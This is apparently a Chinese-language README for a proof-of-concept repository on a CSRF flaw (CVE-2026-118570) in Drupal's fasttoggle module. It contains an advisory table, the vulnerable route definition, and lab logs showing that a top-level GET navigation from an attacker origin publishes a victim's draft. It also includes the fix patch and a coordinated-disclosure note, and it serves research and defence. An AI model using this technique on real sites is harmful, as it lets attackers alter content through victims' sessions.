
针对 CVE-2026-118570 的概念验证与分析,该漏洞是 Drupal 的 fasttoggle toggle 路由中的 CSRF 缺陷,包含浏览器 PoC 页面、测试记录和修复补丁。
/fasttoggle/{entity_type}/{entity_id}/{action} 未携带 _csrf_token,且该切换操作是一个 GET 请求。让持有 use fasttoggle 权限的用户访问你控制的页面,其浏览器就会替你执行写入操作。
| CVE | CVE-2026-118570,由 Drupal.org 分配,发布于 2026-10-30 |
| 安全公告 | SA-CONTRIB-2026-283,2026-10-28 |
| 项目 | fasttoggle |
| 受影响版本 | < 4.1.1 |
| 修复版本 | 4.1.1 |
| CWE | CWE-352,跨站请求伪造 |
| Drupal 风险等级 | 中等严重 13/25,AC:Basic/A:None/CI:None/II:Some/E:Theoretical/TD:All |
| 测试环境 | Drupal 11.4.6、PHP 8.4.24、fasttoggle 4.1.0、Chromium 150.0.7871.181 |
| 致谢 | 由 Nam Nguyen Le Thanh (yuwkaa) 报告。由 Andrei Ivnitskii (ivnish) 修复 |
同一份报告还产生了第二个安全公告, SA-CONTRIB-2026-282 / CVE-2026-118569:同一路由还 跳过了实体访问检查,因此权限持有者可以访问他们无权访问的内容。本仓库仅涵盖缺失令牌的问题。
4.1.0 中的 fasttoggle.routing.yml:
fasttoggle.toggle:
path: '/fasttoggle/{entity_type}/{entity_id}/{action}'
defaults:
_controller: '\Drupal\fasttoggle\Controller\FasttoggleController::toggle'
requirements:
_permission: 'use fasttoggle'
只有一行 _permission,别无其他。没有 _csrf_token,没有方法限制,因此状态变更发生在普通的 GET 请求上。
值得实际测量而非假设,因为最显而易见的那种会失败。一个脚本在本地实验环境中驱动 Chromium 访问已发布的 4.1.0。受害者源为 http://127.0.0.1:8087,攻击者源为 http://localhost:9099,第三个端口是一个用于记录请求是否携带会话 cookie 到达的检测工具。
session cookie: name=SESS12ca17b49af2289436f303e0166030a2 sameSite=Lax httpOnly=True
instrument saw /probe-same-site-subresource Cookie carries SESS: True
instrument saw /probe-cross-site-subresource Cookie carries SESS: False
instrument saw /probe-cross-site-toplevel Cookie carries SESS: True
第一行是控制项:同站子资源确实会携带该 cookie,因此该检测手段有效。第二行则排除了教科书式的攻击向量。Drupal 的会话 cookie 默认名为 SameSite=Lax,因此攻击者页面上的 `` 永远不会携带它:
nid 53 owner=4 status=0 promote=0 sticky=0 "Carol's own draft"
instrument saw /probe-cross-site-subresource Cookie carries SESS: False
nid 53 owner=4 status=0 promote=0 sticky=0 "Carol's own draft"
前后保持不变。
Lax 确实允许顶层导航,而这正是此处所需的全部,因为该切换是一个 GET。攻击者页面上的一个链接,或一个 window.location:
nid 53 owner=4 status=0 promote=0 sticky=0 "Carol's own draft"
carol entity update=YES core field edit access: status=DENIED promote=DENIED sticky=DENIED
browser ended up at: http://127.0.0.1:8087/fasttoggle/node/53/status
nid 53 owner=4 status=1 promote=0 sticky=0 "Carol's own draft"
carol entity update=YES core field edit access: status=DENIED promote=DENIED sticky=DENIED
草稿已发布。也请阅读第二列:核心逻辑表明 carol 不得编辑 status 字段,而该开关无论如何都更改了它,这正是同一请求中暴露出的另一个 CVE。
完整浏览器运行见 poc-transcript.txt。
attacker.html 是要从非 Drupal 站点的源提供的页面。它并排携带两个向量,即不起作用的 `` 和会触发的链接,因此单个页面即可展示差异。将其指向你拥有的站点,并编辑顶部的 host 和 node id。
python3 -m http.server 9099 # from the directory holding attacker.html
然后在已登录目标站点、且持有 use fasttoggle 的用户会话中,用浏览器打开 http://localhost:9099/attacker.html。
use fasttoggle 且最终停留在攻击者页面上的受害者。正因如此,Drupal 将其评为 AC:Basic。SameSite=None 的浏览器上测试,也未在显式设置会话 cookie 的 SameSite 的部署上测试。上述测量基于 Chromium 150 对原版 Drupal 11.4.6。4.1.1 在该路由上添加了令牌并约束了参数:
requirements:
_permission: 'use fasttoggle'
_csrf_token: 'TRUE'
entity_type: 'node|comment'
entity_id: '\d+'
action: 'status|promote|sticky'
使用 _csrf_token: 'TRUE' 时,Drupal 期望一个与会话绑定的 token 查询参数,而攻击者的页面无法生成该参数。同一版本还加入了 CVE-2026-118569 所涉及的实体访问检查。已发布制品之间的完整差异见 fix-4.1.0-to-4.1.1.diff。该补丁仅经过阅读;未针对 4.1.1 重复进行浏览器测试。
已私下报告给 Drupal 安全团队,由其协调修复及两份安全公告。
仅用于测试你拥有或获授权测试的系统。